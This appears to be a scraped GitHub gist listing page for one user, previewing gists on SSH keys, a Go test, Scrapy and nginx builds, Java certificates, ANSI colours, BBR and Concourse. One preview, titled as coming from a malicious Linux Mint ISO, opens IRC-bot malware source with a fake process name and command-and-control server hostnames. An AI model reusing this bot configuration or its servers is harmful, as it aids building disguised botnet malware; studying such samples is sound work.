Skip to content

Instantly share code, notes, and snippets.

View mcspring's full-sized avatar
🎯
Focusing

Mc.Spring mcspring

🎯
Focusing
View GitHub Profile

Multiple SSH Keys settings for different github account

create different public key

create different ssh key according the article Mac Set-Up Git

$ ssh-keygen -t rsa -C "your_email@youremail.com"
@mcspring
mcspring / man.cy
Created February 22, 2016 03:27 — forked from kurobeats/man.cy
man.cy from malicious Linux Mint iso
#define STARTUP 1
#undef IDENT // Only enable this if you absolutely have to
#define FAKENAME "apt-cache" // What you want this to hide as
#define CHAN "#mint" // Channel to join
#define KEY "bleh" // The key of the channel
int numservers=5; // Must change this to equal number of servers down there
char *servers[] = {
"updates.absentvodka.com",
"updates.mintylinux.com",
"eggstrawdinarry.mylittlerepo.com",
@mcspring
mcspring / kodotesting.go
Created January 17, 2017 10:18
kodotesting.go
package main
import (
"context"
"encoding/json"
"fmt"
"io/ioutil"
"os"
"os/user"
"path"
@mcspring
mcspring / install_scrapy_on_centos_7.x.sh
Created July 6, 2017 08:33
Install Scrapy on CentOS 7.x
### install pip on CentOS 7.x
yum install -y python-pip
yum install -y python-devel libssl-devel libxml2 libxml2-devel libxslt libxslt-devel openssl openssl-devel libffi libffi-devel
CFLAGS="-O0" pip install lxml
pip install scrapy
@mcspring
mcspring / java cert.md
Last active October 25, 2017 04:41
Java 导入自定义证书
keytool -import -alias ${alias} -keystore ${JAVA_HOME}/jre/lib/security/cacerts -file ${path-to-certificate-file}
  • ${alias} 请替换为你想使用的名称
  • ${JAVA_HOME} 请替换为你自己的 JAVA_HOME 目录
  • ${path-to-certificate-file} 请替换为你的 ca 证书路径

PS: 如果 keytool 要求你输入密码,该值默认为英文 changeit

@mcspring
mcspring / bash-colors.md
Created November 14, 2017 08:59 — forked from iamnewton/bash-colors.md
The entire table of ANSI color codes.

Regular Colors

Value Color
\e[0;30m Black
\e[0;31m Red
\e[0;32m Green
\e[0;33m Yellow
\e[0;34m Blue
\e[0;35m Purple
@mcspring
mcspring / ubuntu_enable_bbr.sh
Created March 22, 2018 02:45 — forked from Jamesits/ubuntu_enable_bbr.sh
Ubuntu enable BBR
#!/bin/bash
set -eu
SYSCTL_FILE=/etc/sysctl.d/90-tcp-bbr.conf
# check root
if [[ $EUID -ne 0 ]]; then
echo "This script must be run as root"
exit 1
fi
@mcspring
mcspring / Makefile
Created June 26, 2018 07:36
Static build of nginx with custom openssl, pcre and zlib
# Author: Eric Pruitt (http://www.codevat.com)
# License: 2-Clause BSD (http://opensource.org/licenses/BSD-2-Clause)
# Description: This Makefile is designed to create a statically linked nginx
# binary without any dependencies on the host system's version of glibc.
NGINX_VERSION=1.15.0
OPENSSL_VERSION=1.0.2o
PCRE_VERSION=8.42
ZLIB_VERSION=1.2.11
@mcspring
mcspring / README.md
Created October 23, 2018 10:02
concourse.ci on kubernetes via minikube
@mcspring
mcspring / concourse.md
Created October 23, 2018 10:02 — forked from ahume/concourse.md
Concourse on Kubernetes

Concourse on Kubernetes

This document outlines Brandwatch's Concourse installation running on Kubernetes. The full configuration can be found at https://github.com/BrandwatchLtd/concourse-ops (internal only currently). It's a fairly new installation (1-2 weeks) and we're slowly migrating work from our existing BOSH installation to this.

Comments/questions welcome below.

Summary